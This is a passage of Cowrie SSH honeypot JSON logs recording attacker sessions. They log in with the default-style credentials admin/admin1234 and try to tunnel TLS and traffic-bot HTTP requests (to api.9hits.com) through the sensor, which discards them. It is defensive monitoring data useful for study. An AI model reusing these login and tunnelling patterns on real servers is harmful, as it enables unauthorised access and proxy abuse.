{"eventid":"cowrie.direct-tcpip.data","dst_ip":"172.67.133.8","dst_port":443,"data":"b\"\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03)\\xa4[\\xb5\\xf9:\\xed\\xa4\\x87@\\xd7\\xbb\\x9c\\xbc\\xf4\\xbb\\xeb\\xc1\\xb7\\xc2\\xf29\\x0fe4\\x8e\\x82\\xa5\\x06x\\xf4\\x90 \\xd2KUP\\x9c\\xf7\\xc1\\xe2\\xaa\\x13\\x83\\xab\\xa1+\\x7f\\x0f0\\x87\\xaa8\\x8b\\x9b\\x1fQ\\xe1\\xf7\\xed\\r\\x12\\xa5\\x10\\x18\\x00 zz\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\xea\\xea\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\n\\n\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\n\\n\\x00\\x01\\x00\\x00\\x1d\\x00 \\xa8\\xa0\\xcd\\xd8\\xf1\\x8e\\xd4\\x84\\xca\\xa5\\xf4\\xde\\xb4O\\x94\\xa5\\xd1\\xbeF9.\\x93Ek\\xbd\\xfc'\\x96\\x0b1Y5\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\n\\n\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02JJ\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"","id":1,"message":"discarded direct-tcp forward request 1 to 172.67.133.8:443 with data b\"\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03)\\xa4[\\xb5\\xf9:\\xed\\xa4\\x87@\\xd7\\xbb\\x9c\\xbc\\xf4\\xbb\\xeb\\xc1\\xb7\\xc2\\xf29\\x0fe4\\x8e\\x82\\xa5\\x06x\\xf4\\x90 \\xd2KUP\\x9c\\xf7\\xc1\\xe2\\xaa\\x13\\x83\\xab\\xa1+\\x7f\\x0f0\\x87\\xaa8\\x8b\\x9b\\x1fQ\\xe1\\xf7\\xed\\r\\x12\\xa5\\x10\\x18\\x00 zz\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\xea\\xea\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\n\\n\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\n\\n\\x00\\x01\\x00\\x00\\x1d\\x00 \\xa8\\xa0\\xcd\\xd8\\xf1\\x8e\\xd4\\x84\\xca\\xa5\\xf4\\xde\\xb4O\\x94\\xa5\\xd1\\xbeF9.\\x93Ek\\xbd\\xfc'\\x96\\x0b1Y5\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\n\\n\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02JJ\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:18:44.292219Z","src_ip":"123.27.168.40","session":"abea14001023","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"172.67.133.8","dst_port":443,"src_ip":"123.27.168.40","src_port":0,"message":"direct-tcp connection request to 172.67.133.8:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:18:44.745675Z","session":"abea14001023","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"172.67.133.8","dst_port":443,"ja4":"t12d1615h2_46e7e9700bed_cadd4ee51f0b","message":"JA4 fingerprint for forwarded TLS to 172.67.133.8:443: t12d1615h2_46e7e9700bed_cadd4ee51f0b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:18:44.984923Z","src_ip":"123.27.168.40","session":"abea14001023","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"172.67.133.8","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xc6\\xb9\\xdf\\xa1\\xf1\\x93\\x85\\xcd\\x83\\x19\\x02\\xed\\\\]\\xc2\\x84+\\x94\\xcd\\xb1\\xc4K6\\xf7g\\x95A\\xed\\x84\\xa4AR \\x0f\\xb9\\xddp\\x0fY\\xf2\\xa3Vn\\x7f\\x8d\\xfc}\\xfc\\x07\\x84\\xcb{\\xc7\\xcc\\xf7\\xaf\\r\\x95\\xaa\\xacC\\xa9:\\xf7\\t\\x00\"::\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91::\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xca\\xca\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xca\\xca\\x00\\x01\\x00\\x00\\x1d\\x00 =\\xc0\\x96#\\x7f\\xf9I\\x9cRI\\x1c\\xb1\\xbdu&\\xb9\\x0f\\x80\\xcc\\x92`.\\xd3Yy\\xb5\\xe0\\x98\\xc2\\x95\\x0et\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\n\\n\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xaa\\xaa\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":2,"message":"discarded direct-tcp forward request 2 to 172.67.133.8:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xc6\\xb9\\xdf\\xa1\\xf1\\x93\\x85\\xcd\\x83\\x19\\x02\\xed\\\\]\\xc2\\x84+\\x94\\xcd\\xb1\\xc4K6\\xf7g\\x95A\\xed\\x84\\xa4AR \\x0f\\xb9\\xddp\\x0fY\\xf2\\xa3Vn\\x7f\\x8d\\xfc}\\xfc\\x07\\x84\\xcb{\\xc7\\xcc\\xf7\\xaf\\r\\x95\\xaa\\xacC\\xa9:\\xf7\\t\\x00\"::\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91::\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xca\\xca\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xca\\xca\\x00\\x01\\x00\\x00\\x1d\\x00 =\\xc0\\x96#\\x7f\\xf9I\\x9cRI\\x1c\\xb1\\xbdu&\\xb9\\x0f\\x80\\xcc\\x92`.\\xd3Yy\\xb5\\xe0\\x98\\xc2\\x95\\x0et\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\n\\n\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xaa\\xaa\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:18:44.988628Z","src_ip":"123.27.168.40","session":"abea14001023","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.2","message":"Connection lost after 3.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:18:45.346189Z","src_ip":"123.27.168.40","session":"abea14001023","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"113.164.152.20","src_port":52785,"dst_ip":"10.17.0.5","dst_port":22,"session":"05d5e016d682","protocol":"ssh","message":"New connection: 113.164.152.20:52785 (10.17.0.5:22) [session: 05d5e016d682]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:18:46.244581Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.70","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.70","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:18:46.249063Z","src_ip":"113.164.152.20","session":"05d5e016d682","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0425c279610910d2d9aef3b285e59b86","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,rsa2048-sha256,rsa1024-sha1,diffie-hellman-group1-sha1;aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-ctr,aes192-cbc,aes128-ctr,aes128-cbc,chacha20-poly1305@openssh.com,blowfish-ctr,blowfish-cbc,3des-ctr,3des-cbc,arcfour256,arcfour128;hmac-sha2-256,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-sha2-256-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-etm@openssh.com;none,zlib","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","rsa2048-sha256","rsa1024-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss"],"encCS":["aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-ctr","aes192-cbc","aes128-ctr","aes128-cbc","chacha20-poly1305@openssh.com","blowfish-ctr","blowfish-cbc","3des-ctr","3des-cbc","arcfour256","arcfour128"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-sha2-256-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-etm@openssh.com"],"compCS":["none","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: 0425c279610910d2d9aef3b285e59b86","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:18:46.521358Z","src_ip":"113.164.152.20","session":"05d5e016d682","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin1234","message":"login attempt [admin/admin1234] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:18:47.669337Z","src_ip":"113.164.152.20","session":"05d5e016d682","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"159.65.2.87","dst_port":80,"src_ip":"113.164.152.20","src_port":0,"message":"direct-tcp connection request to 159.65.2.87:80 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:18:48.538894Z","session":"05d5e016d682","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"104.21.5.61","dst_port":443,"src_ip":"113.164.152.20","src_port":0,"message":"direct-tcp connection request to 104.21.5.61:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:18:48.637703Z","session":"05d5e016d682","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4h","dst_ip":"159.65.2.87","dst_port":80,"ja4h":"po11nn10enus_0af5a74ca4c0_000000000000_000000000000","message":"JA4H fingerprint for forwarded HTTP to 159.65.2.87:80: po11nn10enus_0af5a74ca4c0_000000000000_000000000000","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:18:49.130436Z","src_ip":"113.164.152.20","session":"05d5e016d682","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"159.65.2.87","dst_port":80,"data":"b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nConnection: keep-alive\\r\\nContent-Length: 1172\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nAccept-Language: en-US\\r\\nUser-Agent: Mozilla/5.0 (Linux; Android 6.0; K10000) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.101 Mobile Safari/537.36 OPR/77.0.4054.90\\r\\nOrigin: http://api.9hits.com\\r\\nAccept-Encoding: gzip, deflate\\r\\n\\r\\n_=cXh3ZyFIa1EyI0FNWGFxZw%3D%3DG8EHOGCW0miLsJ1I2Rv8GFJCaCunzGU8ZDQ9wCZXT0ItTQUGmC7IT%2B3VnkpLsQH5gCn540VfjFbMKjRRkwajNhofefPI5c44SqEnrF%2BeuCeTX29znkBtk6i%2FCzxwmFUSHZAoS%2B9dblS5HksXzUNrW4TwXCJeFLq3iMEa9HlbX56dlJ4f1wsQICHK4nMPnTO5KOlGZTBw5apF0bqW67BOQ6wnfrIDyp8X24mkkjXSZIAvbfEndP4U5FYuCqB4FA%2BhGE7hBSpUYmysiuvzjs6cSvynP26v%2BgjPlmWDzCjAV1IihUGIHfqiGNL5xEBg%2FspbD7MKVk2xsXb9y9McQ97lfF9H6xdQjlS%2FdM8aHXEfmhf%2FUrjH33MEW1oHFk%2Fm32LPJ2jTaDsGANs2PRvBvAZMY%2BTnawG0feaVL5DugM87RIrkSqcmHV9RMWZ3%2Fg01aN%2B%2Fzcz5R6k6qrRCXZZ%2B3SKMnn6TUvtf226%2BdnEI2sPXIZiL%2F%2B32zXikAiJSSt9%2FJAxwPrzH%2BmsgFhPwafYBVsLqOZzU4kymxnBCefE733pr5KJOHYnHVh5MyUTqoawIE6uxo82p295Oe6JN7Qm3v0bntFoRggN10%2Fap8LQ3cszKMdo0zYw1L0hKN4zf8P7tXFTC9AGnFmyjWWyxdYxspoHepfbuOUUItI3B3rOh%2FZoqiN2YG7AwPTzzTDNIGRx3giXiN9y7s6E4SvZq73C6EoIFQwmihMoSKuQRSalpmwR8W6dVcrm7c2u73EuGTQq7Lv6WJvy%2FJlcfVpJb%2B26Q3v9fHeiYK4pt3h8eJukSrCWzQLgWId%2FDU0V2dqCtCyynUC%2Feep21CUkxfdba2Zk4MsXiklIWcxW2TmaSZ1brO4Cblsi7poEsoic2v1nRCXVo9UGK0Gt9hNqf0oaqOVzL%2FL6%2BDcis2icB5Y%2BltEV%2F%2B9yzea59nyoLZl8RBOtvFxRWt0UX%2FlOblbnJFDq6dapGjmN9VDX3sAviJTJf3GirR6vscm2Q16R1N4NKsUU1Tzg6FQj5Q4Aah3sP7bbrMgrb%2F%2FRpp2m8ttsw%2BlWGexZo2h%2Fk5xg%3D'","id":0,"message":"discarded direct-tcp forward request 0 to 159.65.2.87:80 with data b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nConnection: keep-alive\\r\\nContent-Length: 1172\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nAccept-Language: en-US\\r\\nUser-Agent: Mozilla/5.0 (Linux; Android 6.0; K10000) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.101 Mobile Safari/537.36 OPR/77.0.4054.90\\r\\nOrigin: http://api.9hits.com\\r\\nAccept-Encoding: gzip, deflate\\r\\n\\r\\n_=cXh3ZyFIa1EyI0FNWGFxZw%3D%3DG8EHOGCW0miLsJ1I2Rv8GFJCaCunzGU8ZDQ9wCZXT0ItTQUGmC7IT%2B3VnkpLsQH5gCn540VfjFbMKjRRkwajNhofefPI5c44SqEnrF%2BeuCeTX29znkBtk6i%2FCzxwmFUSHZAoS%2B9dblS5HksXzUNrW4TwXCJeFLq3iMEa9HlbX56dlJ4f1wsQICHK4nMPnTO5KOlGZTBw5apF0bqW67BOQ6wnfrIDyp8X24mkkjXSZIAvbfEndP4U5FYuCqB4FA%2BhGE7hBSpUYmysiuvzjs6cSvynP26v%2BgjPlmWDzCjAV1IihUGIHfqiGNL5xEBg%2FspbD7MKVk2xsXb9y9McQ97lfF9H6xdQjlS%2FdM8aHXEfmhf%2FUrjH33MEW1oHFk%2Fm32LPJ2jTaDsGANs2PRvBvAZMY%2BTnawG0feaVL5DugM87RIrkSqcmHV9RMWZ3%2Fg01aN%2B%2Fzcz5R6k6qrRCXZZ%2B3SKMnn6TUvtf226%2BdnEI2sPXIZiL%2F%2B32zXikAiJSSt9%2FJAxwPrzH%2BmsgFhPwafYBVsLqOZzU4kymxnBCefE733pr5KJOHYnHVh5MyUTqoawIE6uxo82p295Oe6JN7Qm3v0bntFoRggN10%2Fap8LQ3cszKMdo0zYw1L0hKN4zf8P7tXFTC9AGnFmyjWWyxdYxspoHepfbuOUUItI3B3rOh%2FZoqiN2YG7AwPTzzTDNIGRx3giXiN9y7s6E4SvZq73C6EoIFQwmihMoSKuQRSalpmwR8W6dVcrm7c2u73EuGTQq7Lv6WJvy%2FJlcfVpJb%2B26Q3v9fHeiYK4pt3h8eJukSrCWzQLgWId%2FDU0V2dqCtCyynUC%2Feep21CUkxfdba2Zk4MsXiklIWcxW2TmaSZ1brO4Cblsi7poEsoic2v1nRCXVo9UGK0Gt9hNqf0oaqOVzL%2FL6%2BDcis2icB5Y%2BltEV%2F%2B9yzea59nyoLZl8RBOtvFxRWt0UX%2FlOblbnJFDq6dapGjmN9VDX3sAviJTJf3GirR6vscm2Q16R1N4NKsUU1Tzg6FQj5Q4Aah3sP7bbrMgrb%2F%2FRpp2m8ttsw%2BlWGexZo2h%2Fk5xg%3D'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:18:49.133528Z","src_ip":"113.164.152.20","session":"05d5e016d682","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"104.21.5.61","dst_port":443,"ja4":"t12d1515h2_8daaf6152771_5563d4852cd1","message":"JA4 fingerprint for forwarded TLS to 104.21.5.61:443: t12d1515h2_8daaf6152771_5563d4852cd1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:18:49.137759Z","src_ip":"113.164.152.20","session":"05d5e016d682","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"104.21.5.61","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xaa\\xd3\\x94\\xa1\\xbb8\\x98\\x9fM\\xba\\xe5\\x1c\\x9c\\xe9\\x8c\\x0f\\x8b<C\\x9a=ox\\xad\\x87\\x8a\\x1fg\\x90\\xc5\\xd0^ u\\xc61\\xeb\\x039\\xe3\\xb4v\\x8b\\xe5\\xf1\\xbf\\x8a\\xc6\\xb0K\\xf2y\\xe3;\\x00\\xcdGq\\xc9\\xd6\\xd6\\x12\\xff9\\x8b\\x00 